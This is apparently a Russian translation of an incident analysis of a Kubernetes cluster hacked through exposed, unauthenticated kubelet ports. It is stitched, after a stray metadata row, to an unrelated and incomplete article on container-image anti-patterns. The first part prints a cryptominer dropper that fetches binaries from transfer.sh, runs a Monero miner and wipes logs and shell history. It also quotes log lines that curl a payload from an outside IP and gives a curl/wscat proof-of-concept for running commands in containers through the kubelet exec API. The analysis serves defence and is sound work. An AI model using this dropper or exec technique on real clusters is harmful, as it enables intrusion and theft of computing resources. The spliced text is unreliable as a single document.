Удивились — и обрадовались, так как обнаружили в Kubernetes один малоизвестный глюк. В этой статье мы рассмотрим, как был взломан кластер коллеги и как мы подтвердили свои выводы, воссоздав эту атаку в собственном кластере. Атака была протестирована в Kubernetes 1.9, но может работать и на более старых кластерах.
**ДИСКЛЕЙМЕР**: эта статья о личном сервере нашего коллеги. **Инфраструктура Handy Technologies не была скромпрометирована.**
### Хак
Дефектный кластер был единственной нодой деплоймента Kubernetes, работающей поверх Alpine Linux. Первым индикатором взлома стал подозрительный процесс, работающий как дочерний процесс демона докера:
```
/tmp/udevs -o stratum+tcp://pool.zer0day.ru:8080 -u NewWorld -p NewWorld --safe -B
```
керлинг конечной точки возвращает следующий текст:
```
Mining Proxy Online
```
Похоже, кто-то нашел способ засунуть крипто-майнинговое ПО в работающий контейнер и запустить процесс.
При поиске файла **udevs** в каталоге docker overlay для контейнера *(/var/lib/docker/overlay2/b5a8a22f1e41b3b1ce504a6c941fb2805c28a454f75e2831c3a38d4d35388bd7)* был обнаружен дроппер-скрипт с именем **«kube.lock»**, который загрузил майнинговое ПО с **transfer.sh** и запустил его.
```
#!/bin/bash
yum install wget -y
apt-get install wget -y
PS2=$(ps aux | grep udevs | grep -v "grep" | wc -l)
if [ $PS2 -eq 0 ];
then
rm -rf /tmp/udevs*
wget https://transfer.sh/JyRqn/nodepadxx --no-check-certificate -O /tmp/udevs
fi
if [[ $? -ne 0 && $PS2 -eq 0 ]];
then
curl -sk https://transfer.sh/JyRqn/nodepadxx -o /tmp/udevs
fi
chmod +x /tmp/udevs
chmod 777 /tmp/udevs
if [ $PS2 -eq 0 ];
then
/tmp/udevs -o stratum+tcp://pool.zer0day.ru:8080 -u NewWorld -p NewWorld --safe -B
fi
if [[ $? -ne 0 && $PS2 -eq 0 ]];
then
echo $?
wget https://transfer.sh/9uRre/glibc-2.14.tar.gz --no-check-certificate -O /tmp/glibc-2.14.tar.gz && tar zxvf /tmp/glibc-2.14.tar.gz -C /tmp/ && export LD_LIBRARY_PATH=/tmp/opt/glibc-2.14/lib:$LD_LIBRARY_PATH && /tmp/udevs -o stratum+tcp://pool.zer0day.ru:8080 -u NewWorld -p NewWorld --safe -B && echo "" > /var/log/wtmp && echo "" > /var/log/secure && history -c
fi
```
Кроме того, MD5 сигнатура *(a4404be67a41f144ea86a7838f357c26)* для программы **/tmp/udevs** на VirusTotal [определяется](https://www.virustotal.com/#/file/97b9db94662042548a457b66eb51306e13514e4fabe02010794654076d0528a5/) как вероятный Monero Miner:
Итак, мы знаем, что взломщик каким-то образом поместил **kube.lock** скрипт в контейнер и запустил его. Но как?
Публичный доступ для kubernetes api-сервера был открыт, но защищен аутентификацией по сертификату. Первым делом мы предположили атаку на цепочку поставок одного из образов, работающих в кластере. Однако, изучив логи kubelet, мы кое-что заметили:
```
/var/log/kubernetes/kubelet.log:E0311 12:38:30.400289 2991 remote_runtime.go:332] ExecSync 95bd5c4a43003517c0077fbad285070fb3c5a94ff5d5c82e02c1d074635d1829 'curl http://185.10.68.202:5050/mrx -o /tmp/kube.lock' from runtime service failed: rpc error: code = Internal desc = transport is closing
/var/log/kubernetes/kubelet.log:E0311 12:38:30.400974 2991 remote_runtime.go:332] ExecSync 916f8bff4edb547a3e3de184968bb651717883e8b3856e76d0ebc95ecbeb3a3d 'curl http://185.10.68.202:5050/mrx -o /tmp/kube.lock' from runtime service failed: rpc error: code = Internal desc = transport is closing
```
Похоже, взломщик каким-то образом выполнял команды **exec** в kubelet. Гугл на запрос «аутентификация Kubelet» выдал текст из документации Kubernetes:
> *По умолчанию запросы к конечной точке HTTPS kubelet, которые не отклоняются другими настроенными аутентификационными методами, рассматриваются как анонимные запросы с именем пользователя **system: anonymous** и группой **system:unauthenticated**.*
[Kubelet authentication/authorization](https://kubernetes.io/docs/admin/kubelet-authentication-authorization/)
Если в Kubelet не указаны флаги, то по умолчанию используется режим приема запросов API, не прошедших аутентификацию. Имейте в виду, что для того, чтобы связь master -> node работала, сервер API Kubernetes должен обмениваться информацией с kubelet на нодах.
Как оказалось, сервер нашего коллеги также публично выставлял порты kubelet (tcp 10250, tcp 10255). Хотя ошибка очевидна, неплохо бы проверить, как развернут ваш собственный Kubernetes.
Если пользователи имеют доступ к нодам, то API kubelet — это полнофункциональный бэкдор к кластеру, не прошедший API аутентификацию.
Поэтому, если у вас возникли проблемы с активацией аутентификации и авторизации (webhook, RBAC и т. д.), убедитесь, что kubelet защищен.
К безопасности связи Kubelet есть [серьезные вопросы](https://github.com/kubernetes/kubernetes/issues/3168), и эта проблема заслуживает большего внимания.
### Доказательство концепции
Чтобы отправлять команды непосредственно на kubelet, необходимо использовать API, как описано здесь:
Kubelet прослушивает два порта: 10255 и 10250. Первый — HTTP-порт только для чтения, а второй — HTTPS-порт, который может делать все, что угодно.
**Выберите любой нод в кластере и попробуйте перечислить поды:**
```
curl --insecure https://kube-node-here:10250/pods | jq
```
Маршрут для **exec**, который не задокументирован на странице kubelet, похож на маршрут сервера API, но требует два запроса: начальный POST и последующий GET с клиентом, поддерживающий SPDY (или клиент websocket, который также поддерживается).
**Выполните команду в работающем контейнере через kubelet.**
Найдите под, работающий на ноде, на который вы хотите настроить таргет через предыдущий запрос. Выполните следующий запрос с помощью curl:
```
curl --insecure -v -H "X-Stream-Protocol-Version: v2.channel.k8s.io" -H "X-Stream-Protocol-Version: channel.k8s.io" -X POST "https://kube-node-here:10250/exec///?command=touch&command=hello\_world&input=1&output=1&tty=1"
```
Это должно вернуть ответ с кодом 302, который перенаправляет на поток:
```
< HTTP/2 302
< location: /cri/exec/PfWkLulG
< content-type: text/plain; charset=utf-8
< content-length: 0
< date: Tue, 13 Mar 2018 19:21:00 GMT
```
Используйте [wscat](https://github.com/websockets/wscat), чтобы начать поток:
```
wscat -c "https://kube-node-here:10250/cri/exec/PfWkLulG" --no-check
connected (press CTRL+C to quit)
<
<
disconnected
```
Поскольку мы просто выполнили команду `touch hello_world`, она создает файл и отключается. Если вы хотели выполнить команду с выводом, вы увидите результат после выполнения указанной выше команды.
### Заключение
Хотя такое поведение соответствует документации, многие не знают, что без правильной настройки получают брешь в безопасности многопользовательской среды Kubernetes.
Мы разобрали один из вопросов безопасности в Kubernetes. Комментируйте!
### Обновление 14 марта 2018
После глубокого изучения, похоже, что даже с включенной аутентификацией на Kubelet, он относится только к порту HTTPS (10250). Это означает, что HTTP-порт только для чтения (10255) по-прежнему остается открытым без каких-либо средств защиты, кроме сетевых ACL.
Порт для чтения может перечислить спецификации подов на `/pods` route, что значит доступ к чувствительным данным, таким как переменные среды.
Всего 28 дней назад [код был изменен так](https://github.com/kubernetes/kubernetes/pull/59666), чтобы небезопасный порт был по умолчанию отключен.
Оригинал: [Analysis of a Kubernetes hack — Backdooring through kubelet](https://medium.com/handy-tech/analysis-of-a-kubernetes-hack-backdooring-through-kubelet-823be5c3d67c) | https://habr.com/ru/post/413565/ | null | ru | null |
# Ошибочные шаблоны при построении образов контейнеров
В этой статье я перечислю список повторяющихся ошибочных шаблонов, которые регулярно встречаю, когда помогаю людям с пайплайнами сборки контейнеров, а также предложу способы устранить или реорганизовать их во что-то более приемлемое.
Однако, [только ситхи все возводят в абсолют](https://knowyourmeme.com/memes/only-a-sith-deals-in-absolutes), поэтому помните, что такие ошибочные шаблоны не всегда будут ошибкой.
Многие из них безвредны, если использовать их по отдельности. Но, как вы увидите, если применить сразу несколько, они легко могут поставить под угрозу вашу продуктивность и заставить вас напрасно тратить свое время и ресурсы.
### Большие образы
Лучше, когда образ небольшого размера. Как правило, такие образы требуют меньше времени на сборку, сжатие или извлечение и занимают меньше дискового пространства и сети.
Но какой размер для образа считать большим?
Для микросервисов с относительно небольшим количеством зависимостей я бы не стал переживать за образы размером менее 100 МБ. Для более сложных рабочих нагрузок (монолиты или, скажем, приложения для дата-сайенс) можно использовать образы размером до 1 ГБ. При большем размере я бы уже задумался.
Я опубликовал в блоге несколько постов об оптимизации размера образов ([часть 1](http://jpetazzo.github.io/2020/02/01/quest-minimal-docker-images-part-1/), [часть 2](http://jpetazzo.github.io/2020/03/01/quest-minimal-docker-images-part-2/), [часть 3](http://jpetazzo.github.io/2020/04/01/quest-minimal-docker-images-part-3/)). Не буду повторять их содержание здесь, вместо этого давайте сосредоточимся на некоторых исключениях из правил.
### Гигантские образы «все в одном»
Иногда в образ нужно собрать Node, PHP, Python, Ruby и несколько движков баз данных, а также сотни библиотек, потому что этот образ планируется сделать основой для платформы PAAS или CI. Это характерный пример для платформ, у которых есть только один доступный образ для запуска всех приложений и задач. Действительно, в таком случае в образе должно быть собрано все необходимое.
У меня нет волшебных решений для уменьшения размера. Просто помните, что в конечном итоге вам, скорее всего, потребуется поддерживать несколько образов. Поэтому, когда вы добавите, например, поддержку выбора версии, есть смысл оставить возможность выбирать образы меньшего размера с более четким приоритетом. Просто как идея для размышления.
### Наборы данных
Иногда коду (особенно в области дата-сайенс) для работы требуется набор данных: эталонный датасет, модель машинного обучения, огромный график, на котором будем производить вычисления…
Так заманчиво поместить набор данных в образ, чтобы контейнер мог «просто работать» независимо от того, где и как его запустят. И это нормально, если набор данных небольшой.
В противном случае, скажем, если он превышает 1 ГБ, возникают проблемы. Конечно, если Dockerfile у вас хорошо организован, модель будет добавлена перед кодом. Кошмар случится, если добавить модель *после* кода. Сборки будут тормозить, занимать много места на диске, а если код нужно тестировать на удаленных машинах (а не на локальных), модель нужно будет каждый раз сжимать и извлекать, что требует много дискового пространства на удаленных машинах. И это *очень* плохо.
Вместо этого, подумайте о возможности **подключения набора данных из тома**. Допустим, код может получить доступ к нужным данным в `/data`.
Когда вы запускаете его локально с помощью такого инструмента, как Compose, можно использовать монтирование привязки из локального каталога (он выступает здесь в роли кеша) и отдельный контейнер для загрузки данных. Файл Compose будет выглядеть так:
```
services:
data-loader:
image: nixery.dev/shell/curl
volumes:
- ./data:/data
command: |
if ! [ -f /data/dataset ]; then
curl ... -o /data/dataset
touch /data/ready
fi
data-worker:
build: worker
volumes:
- ./data:/data
command: |
while ! [ -f /data/ready ]; do sleep 1; done
exec worker
```
Сервис `data-worker` ждет, когда данные будут доступны, перед запуском, `data-loader` загружает их в локальную директорию `data`. Данные скачиваются только один раз. Если их нужно загрузить снова, просто удалите эту директорию и запустите процесс еще раз.
В таком случае, при запуске, например, на Kubernetes, можно использовать для загрузки данных `initContainer` с примерно похожим Pod’ом:
```
spec:
volumes:
- name: data
initContainers:
- name: data-loader
image: nixery.dev/curl
volumeMounts:
- name: data
mountPath: /data
command:
- curl
- ...
- -o
- /data/dataset
containers:
- name: data-worker
image: .../worker
volumeMounts:
- name: data
mountPath: /data
```
Обратите внимание, что рабочему контейнеру не нужно ждать загрузки данных. Kubernetes запускает его только после завершения `initContainer` .
Если запустить несколько рабочих контейнеров на один узел, можно также использовать том `hostPath` (вместо эфемерного тома `emptyDir` ) – нам важно, чтобы данные загружались только один раз.
Другой вариант - использовать DaemonSet, чтобы заранее автоматически заполнять эту директорию данных на каждом узле кластера.
Здесь нет единственного лучшего варианта – все зависит от того, с чем именно вы работаете. Единый большой набор данных? Несколько? Как часто они меняются?
Большой плюс заключается в том, что образы будут намного меньше, и они по-прежнему будут работать одинаково как в локальных средах так и в удаленных кластерах, не требуя специального кода для загрузки или управления моделью в логике вашего приложения. А это победа!
### Маленькие образы
Есть вероятность, что образ будет *слишком маленьким*. Стоп, а что не так с образом размером всего 5 МБ?
С самим размером проблем нет, но если образ такой маленький, в нем может не быть некоторых полезных инструментов, а это будет стоить вам и вашим коллегам много времени при устранении неполадок с ним.
Образы, созданные с помощью [distroless](https://github.com/GoogleContainerTools/distroless) или из `FROM scratch` , могут быть небольшими. Но есть ли в этом смысл, если команда регулярно страдает, потому что они не могут даже получить оболочку в образе, чтобы, например, проверить, какая сейчас версия у конкретного файла, увидеть запущенные процессы с помощью `ps` или сетевые соединения с помощью `netstat` или `ss`?
Все очень зависит от контекста. У кого-то совсем нет потребности добавлять оболочку в образ. Если вы используете Docker, можно проверить, что происходит, скопировав в запущенный контейнер статические инструменты (например, busybox) через `docker cp` . Если вы работаете с локальными образами, вы можете легко перестроить образ и добавить необходимые инструменты. В Kubernetes вы можете включить альфа-функцию [эфемерных контейнеров](https://kubernetes.io/docs/tasks/debug-application-cluster/debug-running-pod/#ephemeral-container). Но в большинстве рабочих кластеров Kubernetes у вас не будет доступа к базовому движку контейнера, и вы не сможете включить альфа-функции, поэтому…
...Вот один из способов добавить очень простой набор инструментов к существующему образу. В этом примере показан distroless-образ, но он подходит и для других образов:
```
FROM gcr.io/distroless/static-debian11
COPY --from=busybox /bin/busybox /busybox
SHELL ["/busybox", "sh", "-c"]
RUN /busybox --install
```
Если вам нужно больше инструментов, есть очень элегантный способ через [Nixery](https://nixery.dev/) – установите нужные инструменты, не стирая полезные данные в существующем. Если код развернут в Kubernetes, можно даже добавить инструменты в том, так что вам не придется перестраивать и повторно деплоить новый образ. Дайте знать, если вам интересно, и я напишу об этом более подробно.
В целом, лично я предпочитаю делать сборки на образах Alpine, потому что они крошечные (Alpine - 5 МБ). В Alpine вы можете использовать `apk add` для всего, что захотите, и когда вам это нужно. Проблемы с сетевым трафиком? Воспользуйтесь `tcpdump` и `ngrep`. Нужно загружать и удалять файлы JSON? Вам помогут `curl` и `jq`!
Итог: маленькие образы, как правило, хороши, а образы [distroless](https://github.com/GoogleContainerTools/distroless) – это вообще бомба, но *при определенных обстоятельствах*. В случаях, когда «У меня нет доступа в контейнер, и мне придется добавить несколько операторов `print()` в код и извлекать его через CI до переноса данных, потому что я не могу использовать «`kubectl exec ls`», возможно, это решение не для вас. Но решать, конечно, вам самим!
### Zip, tar, и прочие архивы
*(Добавлено 15 декабря 2021 года)*
*Как правило*, добавлять архив (zip, tar.gz или другие) к образу контейнера – так себе идея. Это определенно плохая идея, если контейнер распаковывает этот архив при запуске, бессмысленно тратя на этот процесс время и дисковое пространство!
Оказывается, образы Docker уже сжаты, когда хранятся в реестре, помещаются в реестр или извлекаются из него. Это означает две вещи:
* хранение сжатых файлов в образе контейнера не позволяет сэкономить дисковое пространство,
* если хранить несжатые файлы в контейнере, он не будет занимать больше места.
Если мы включим в образ архив (например, архив tar) и распакуем его при запуске контейнера:
* мы тратим время и циклы ЦП по сравнению с образом контейнера с уже распакованными и готовыми к использованию данными;
* мы тратим впустую дисковое пространство, потому что в конечном итоге сохраняем как сжатые, так и несжатые данные в файловой системе контейнера;
* если контейнер запускается несколько раз, мы тратим больше времени, циклов ЦП и дискового пространства каждый раз, когда запускаем дополнительную копию контейнера.
Если вы заметили, что Dockerfile копирует архив, почти всегда лучше распаковать архив (например, используя многоступенчатую сборку) и скопировать несжатые файлы.
### Повторная сборка общих базовых образов
Довольно часто несколько приложений или компонентов одного приложения используют общий базовый образ. Особенно, когда у вас есть ряд нетривиальных зависимостей, и их сборка требует времени. Кажется хорошей идеей вставить их в базовый образ и дать на него ссылку из других образов.
Если создание образа занимает много времени (больше, чем просто пару минут), я рекомендую вам сохранить этот базовый образ в реестре и брать его оттуда вместо локальной сборки.
Вы спросите, почему?
Причина №1: брать образ из реестра почти всегда быстрее, чем собирать его. (Да, есть исключения, но поверьте, они довольно редки.)
Причина №2: поскольку это база, на которой строится все остальное, вероятно, вам захочется быть уверенным, что у вас есть определенный набор версий образа. В противном случае мы возвращаемся к проблемам типа «ну а у меня-то работает» - именно этого мы пытались избежать, используя контейнеры! Если каждый проводит сборку локально, нужно быть особенно осторожными, чтобы этот процесс был детерминированным и воспроизводимым: закрепить все версии; проверить хеш всех загрузок; используя `&&` или `set -e`, где требуется, чтобы немедленно прервать выполнение, если что-то в списке команд в процессе сборки пойдет не так. Либо мы можем просто сохранить базовый образ в реестре и быть уверены, что все используют один и тот же образ. Готово.
А если нужно скорректировать этот базовый образ? Есть ли простой способ сделать это, не отправляя новую версию базового образа (это и не нужно, если образ используется только локально), или не редактируя файлы Docker?
Если вы используете Compose, вот пример [шаблона основного образа](https://github.com/jpetazzo/foundation-example). Это очень простой шаблон (не думаю, что он станет для вас каким-то открытием), но я часто вижу, как его внедряют с помощью скриптов оболочки, файлов Makefile и других инструментов, , поэтому я подумал, что будет полезным показать, что Compose вполне хватит для этой задачи. При сборке приложения он откроет базовый образ. Но если вам нужен настраиваемый базовый образ, можно собрать его отдельно `docker-compose build`.
### Сборка единого репозитория из корневой директории
Что касается единых репозиториев, я не могу однозначно сказать, «за» я или «против». Но если вы храните код в едином репозитории, вероятно, там есть разные подкаталоги для разных сервисов и контейнеров.
Например:
```
monorepo
├── app1
│ └── source...
└── app2
└── source...
```
Вы можете разместить файлы Docker в корне репозитория (или в персональном подкаталоге), например, следующим образом:
```
monorepo
├── app1
│ └── source...
├── app2
│ └── source...
├── Dockerfile.app1
└── Dockerfile.app2
```
Далее можно собрать сервисы с помощью `docker build . -f Dockerfile.app1`. Проблема с этим подходом заключается в том, что если мы используем «старый» конструктор Docker (а не BuildKit), первое, что он делает - это *загружает весь репозиторий в* *Docker Engine*. А если репозиторий у вас на 5 ГБ, то Docker будет копировать 5 ГБ *перед каждой сборкой*, даже в остальном ваш файл Docker прекрасно спроектирован и отлично использует кеширование.
Я предпочитаю иметь файлы Docker в каждом подкаталоге, чтобы их сборка была независимой, в небольшом и изолированном контексте:
```
monorepo
├── app1
│ ├── Dockerfile
│ └── source...
└── app2
├── Dockerfile
└── source...
```
Затем мы можем перейти в директории `app1` или `app2` и запустить `docker build`. Ему понадобится только содержимое этого подкаталога.
Однако иногда для процесса сборки требуются зависимости, которые находятся вне директории для приложения; например, общий код в подкаталоге `lib` ниже:
```
monorepo
├── app1
│ └── source...
├── app2
│ └── source...
└── lib
└── source...
```
Что же делать в этом случае?
Решение №1: запаковать зависимости в отдельные образы. При создании образов для `app1` и `app2` вместо копирования директории `lib` из репозитория скопируйте его из образа `lib` или общего базового образа. Возможно, это про вас, а может, это вас не касается: одним из основных преимуществ единого репозитория является то, что конкретный коммит может точно описать, какую версию кода и его зависимости мы используем; а такое решение может это поломать.
Решение №2: использовать BuildKit. Для BuildKit не надо копировать весь контекст сборки, и в таком скрипте это будет гораздо более эффективным решением.
Давайте взглянем на BuildKit в этом контексте!
### Если не использовать BuildKit
BuildKit - это новый бэкэнд для `docker build`. Это полная переработка с множеством новых функций, включая параллельные сборки, кросс-арочные сборки (например, создание образов ARM на Intel и наоборот), создание образов в Kubernetes Pods и многое другое. При этом, он все еще полностью совместим с существующим синтаксисом файлов Docker. Это похоже на переход на электромобиль: у нас все еще есть руль и две педали, но начинка совершенно другая.
Если вы работаете в последней версии Docker Desktop, вероятно, вы уже используете BuildKit, так что это здорово. В противном случае (в частности, если вы работаете в Linux) установите переменную среды `DOCKER_BUILDKIT=1` и запустите команду `docker build` или `docker-compose`; например:
`DOCKER_BUILDKIT=1 docker build . --tag test`
Если вам понравится результат (а я уверен, что он вам понравится), вы можете установить эту переменную в профиле оболочки.
«Как мне понять, что я использую BuildKit?»
Выходные данные сборки *без* BuildKit:
`Sending build context to Docker daemon 529.9kB`
`Step 1/92 : FROM golang:alpine AS builder`
`---> cfd0f4793b46`
`...`
`Step 90/92 : RUN ( ab -V ...`
`---> Running in 645af9563c4d`
`Removing intermediate container 645af9563c4d`
`---> 0972a40bd5bb`
`Step 91/92 : CMD if tty >/dev/null; then ...`
`---> Running in 50226973af9f`
`Removing intermediate container 50226973af9f`
`---> 2e963346566b`
`Step 92/92 : EXPOSE 22/tcp`
`---> Running in e06a628465b3`
`Removing intermediate container e06a628465b3`
`---> 37d860630477`
`Successfully built 37d860630477`
* начинается с «Sending build context…» (в данном случае более 500 КБ);
* нужно передавать весь контекст сборки при каждой сборке;
* текстовый вывод в основном черно-белый, за исключением стандартного вывода ошибок этапов сборки, который отображается красным;
* каждая строка файла Docker соответствует «шагу»;
* каждая строка файла Docker создает промежуточный образ (тот самый `---> xxx` на выходе);
* линейное исполнение (92 шага для этого образа и всех его этапов);
* время сборки для этого образа: 3 минуты 40 секунд.
Выходные данные сборки для того же файла Docker, *но с использованием* BuildKit:
`=> [internal] load build definition from Dockerfile 0.0s`
`=> => transferring dockerfile: 8.91kB 0.0s`
`=> [internal] load .dockerignore 0.0s`
`=> => transferring context: 2B 0.0s`
`=> [internal] load metadata for docker.io/library/golang:alpine 0.0s`
`...`
`=> [stage-19 27/28] COPY setup-tailhist.sh /usr/local/bin 0.0s`
`=> [stage-19 28/28] RUN ( ab -V | head -n1 ; bash --version | head -n1 ; curl --ve 0.7s`
`=> exporting to image 2.0s`
`=> => exporting layers 2.0s`
`=> => writing image sha256:9bd0149e04b9828f9e0ab2b09222376464ee3ca00a2de0564f973e2f90e0cfdb 0.0s`
* начинается с нескольких строчек `[internal]` и переносит только необходимое из контекста сборки;
* может кэшировать части контекста между различными сборками;
* вывод текста в основном темно-синий;
* команды файла Docker, например, `RUN` и `COPY` создают новые шаги, тогда как другие команды (например, `EXPOSE` и `CMD` в конце) нет;
* каждый шаг создает слой, но без промежуточных образов;
* по возможности, параллельное исполнение с использованием диаграммы зависимостей (итоговый образ – на 28 шаге 19 стадии файла Docker);
* время сборки для этого образа: 1 минута, 30 секунд.
Поэтому постарайтесь использовать BuildKit: я просто не могу придумать для него недостатков. Он никогда не замедлит работу и во многих случаях значительно ускорит сборки.
### Необходимость повторной сборки для каждого изменения
Вот еще один ошибочный шаблон. Конечно, если вы используете компилируемый язык и хотите запускать код в контейнерах, возможно, повторную сборку придется делать каждый раз при внесении в код изменений.
А вот в случае интерпретируемого языка или работы со статическими файлами или шаблонами, нет необходимости пересобирать образы (и заново создавать контейнеры) после каждого изменения.
В большей части рабочих процессов разработки, которые я видел, правильно использовали тома или [обновление в режиме реального времени](https://docs.tilt.dev/tutorial/5-live-update.html) с помощью таких инструментов, как Tilt; но мне, бывало, встречались разработчики, которые, например, генерировали код Python или полностью перезапускали веб-пакет после каждого изменения (вместо использования сервера разработки веб-пакета).
(Кстати, если вы попробуете *очень быстро* задеплоить изменения в кластере разработки Kubernetes, обязательно посмотрите статью [Эллен Кёрбс](https://twitter.com/ellenkorbes) [«В поисках самого быстрого деплоя»](https://www.youtube.com/watch?v=9C9BKzyZG_Y) ([видео](https://www.youtube.com/watch?v=9C9BKzyZG_Y) и [презентация](https://s3.amazonaws.com/bizzabo.file.upload/wieCUWlZTBKV3mWlKh3D_L%20K%C3%B6rbes%20-%20The%20Fastest%20Deployment%20Time.pdf)). Спойлер: мне хватит пальцев одной руки, чтобы посчитать секунды между «Сохранить мой код Go в редакторе» и «теперь этот код запущен на удаленных кластерах Kubernetes». 💯)
Еще раз, этот шаблон не всегда будет такой уж большой ошибкой. Если сборка выполняется всего за пару секунд, а размер новых слоев – несколько мегабайт, постоянно пересобирать и воссоздавать контейнеры не будет ошибкой.
### Использование собственных скриптов вместо существующих инструментов
Мы все это делали: старый добрый `./build.sh` (или `build.bat`). Более двух десятков лет назад, когда я получал степень бакалавра информатики, большинство домашних заданий на C я делал, используя не Makefile, а дерьмовый скрипт оболочки. И это не потому, что я не знал о Makefile, просто мы работали как под Linux, так и под HP/UX, и я творчески подходил к задаче вставлять себе палки в колеса и учитывать небольшие различия между соответствующими реализациями `make`. (Может быть именно поэтому я сейчас стараюсь держаться подальше от башизмов).
Существует множество инструментов, помогающих в разработке: Compose, Skaffold, Tilt – и это только несколько примеров. У них есть отличная документация и руководства, их используют тысячи разработчиков. Кто-то из ваших коллег уже знает о них и знает, как поддерживать файлы Compose или Tilt.
Если наш самодельный скрипт для деплоя состоит всего из 10 строк, он не делает ничего сложного и его можно заменить файлом Compose или Tilt. (Имейте в виду, что если в скрипте используется внешний инструмент, например, Terraform или облачный интерфейс командной строки, мы должны убедиться, что он установлен, и это в любом случае потребует не меньше усилий, чем набрать “git clone ; docker-compose up”.)
Если в скрипте около 100 строчек, он может делать более сложные вещи: сборка образа с последующей его отправкой и запуском задания CI, а затем подготовка промежуточного кластера для тестирования этого образа, получение адреса кластера для его внедрения в локальный клиент и тому подобное, обработка множества вариаций и особых случаев. Для 100 строчек вряд ли будет *очень* много вариаций, и тут-то мы подходим к точке, где каждый начнет добавлять свой особый случай в скрипт, постепенно переходя к следующему этапу.
Если самодельный скрипт деплоя содержит тысячу строк или больше, вероятно, в нем много настраиваемой логики и он обрабатывает множество ситуаций. Круто! Но также это означает, что теперь вам нужно писать документацию, тесты и, возможно, даже провести внутреннее обучение для новых сотрудников. К сожалению, по моему опыту, такие скрипты как минимум в 10 раз (а чаще в 100 раз) больше, чем эквивалентный файл Compose или Tilt. В них больше ошибок, меньше функций, и никто за пределами вашей команды или организации не знает, как их использовать.
Если вы работаете с таким крупным скриптом деплоя, я предлагаю *удалять*, а не *добавлять* к нему код. Переместите его действительно кастомные части в независимые автономные скрипты, которые могут одинаково хорошо работать локально или в контейнерах. Замените остальное стандартными инструментами. Легче поддерживать много маленьких скриптов, чем один большой.
«Но мы хотим скрыть сложность контейнеров / Docker / Kubernetes от наших разработчиков!»
Дело ваше, но я думаю, что лучший способ расширить возможности разработчиков – скрыть эту сложность *за стандартными инструментами*, потому что, когда им нужно погрузиться в инструмент с головой, им в помощь придет обширная экосистема, и не придется полагаться на внутренний набор инструментальных средств или команду платформы.
### Принудительный запуск в контейнерах
Мне нравится запускать все в контейнерах, но я считаю, что *заставлять* запускать все подряд в контейнерах - очень плохая идея.
Допустим, у нас есть скрипт, который использует интерфейс командной строки `gcloud`, Terraform и прочие инструменты, например `crane` и `jq`.
На большинстве платформ эти инструменты легко установить с помощью удобного для вас менеджера пакетов. Следовательно, должна быть возможность запускать скрипт локально.
Но чтобы облегчить жизнь разработчикам (и убедиться, что мы используем наиболее актуальные версии этих инструментов), мы создаем образ контейнера со всеми этими инструментами. Вместо запуска скрипта напрямую мы говорим разработчикам использовать образ.
Поначалу кажется, что это просто замена `yadda-deploy.sh` на `docker run yadda-image`. На деле же нужно открыть некоторые переменные среды, связать несколько томов для учетных данных и кода. В конечном итоге мы можем написать новый скрипт `yadda-deploy.sh` (который запустит `docker run` за кулисами). И вот здесь мы можем столкнуться с проблемой.
Сравните два варианта:
Способ №1: для выполнения этой задачи запустите скрипт `yadda-deploy.sh`. Для него нужно установить инструменты X, Y и Z. Если вы не хотите устанавливать их локально, можно запустить скрипт в контейнере через образ `yadda/deploy` (билд с помощью файла Docker в этом подкаталоге) и команду `docker` или `docker-compose`…
Способ №2: для выполнения этой задачи запустите скрипт `yadda-deploy.sh`. Этот скрипт требует установки Docker.
Поначалу кажется, что способ №2 лучше, и поэтому так много команд идут по этому пути, ведь кажется, что он короче и требований меньше! Вот только многих деталей не хватает. Способ №1 позволяет подробно рассказать о требованиях всего в нескольких строках. В способе №2 вам нужно открыть скрипт, чтобы увидеть, что он делает. Вполне простая задача, если речь идет о небольшом скрипте на 10 строк. Гораздо сложнее, если это гигантский скрипт, как мы обсуждали в предыдущем разделе.
Перед отправкой этого нового рабочего процесса нашим пользователям хорошо бы проверить, насколько сложно внести изменения в скрипт и запустить его. Можем ли мы запустить скрипт локально или что-то мешает нам это сделать?
И все еще хуже, когда мы запускаем скрипт в удаленной среде, например, в CI или в Kubernetes!
Действительно, если скрипт *должен* вызывать Docker (или Compose), что произойдет, когда мы попытаемся запустить его в среде, которая уже в контейнере? Иногда можно использовать [Docker-in-Docker в CI](http://jpetazzo.github.io/2015/09/03/do-not-use-docker-in-docker-for-ci/), но далеко не всегда. Поэтому, если скрипт полагается на вызов Docker или Compose, у нас проблемы.
С другой стороны, если мы придерживаемся принципа «запусти `yadda-deploy.sh` в среде с пакетами X, Y и Z», это намного проще, потому что мы уже знаем, какие пакеты нам нужны и в каком образе они есть.
### Использование слишком сложных инструментов
Сначала я рекомендовал использовать инструменты, а не скрипты оболочки, а теперь противоположный совет. Не добавляйте сложную зависимость, если проблему можно решить с помощью нескольких строк скрипта (или инструмента, который уже используется в стеке).
Рассмотрим пример. Предположим, что нам нужно сгенерировать файл (конфигурацию или другой тип) из шаблона и переменных среды. Во многих случаях здесь достаточно синтаксиса [heredoc](https://en.wikipedia.org/wiki/Here_document).
Если в шаблоне много `$`, можно не пытаться от них избавиться, а использовать `[envsubst]` из пакета `gettext`.
Если переменные берутся из файла JSON, а не из среды, можно подготовить их с помощью такого инструмента, как `jq`.
Если необходимо преобразовать некоторые переменные, например установить строчные буквы, удалить специальные символы, пробелы, кодировать или декодировать base64, вычислить хэш… Мы можем установить дополнительные инструменты для выполнения всех этих преобразований перед вызовом `envsubst`.
А может, нужно поддерживать петли? Здесь можно задуматься о вложении в механизм обработки шаблонов. И тут-то мы подошли к чему-то по-настоящему интересному!
Если в стеке есть такие языки, как Node, Python или Ruby, существует большая вероятность найти небольшой пакет, который сделает то, что нам нужно. (Например, в Python пакет [Jinja2](https://pypi.org/project/Jinja2/) предоставляет инструмент интерфейса командной строки `j2`.) С другой стороны, если в стеке не используется Python, добавлять его *только* для того, чтобы установить Jinja2, кажется излишним.
Если мы уже используем Terraform, в нем есть мощный механизм шаблонов, который может генерировать локальные или дистанционные файлы. Круто же! Но добавление Terraform *только* ради его движка шаблонов – это чересчур.
(Честно говоря, если мне нужно создавать хитрые шаблоны в очень минимальной среде, я предпочту написать сценарий, который выводит нужный мне файл целиком и перенаправляет вывод в файл, который нужно сгенерировать. Но все индивидуально.)
Стоит также с осторожностью использовать инструменты, которые трудно освоить и/или которые знакомы очень немногим. Возможно, [Bazel](https://bazel.build/) - это один из наиболее эффективных способов создания артефактов и запуска CI на огромных базах кода, но многие ли из ваших коллег знают его в достаточной степени, чтобы поддерживать правила сборки? А что вы будете делать, когда этот человек уйдет? 😬
### Противоречивые названия скриптов и образов
Еще одно воспоминание из моих первых дней в IT: в первый год использования UNIX я регулярно сам себя наказывал, когда давал своим тестовым скриптам и программам имя `test`.
И что с того?
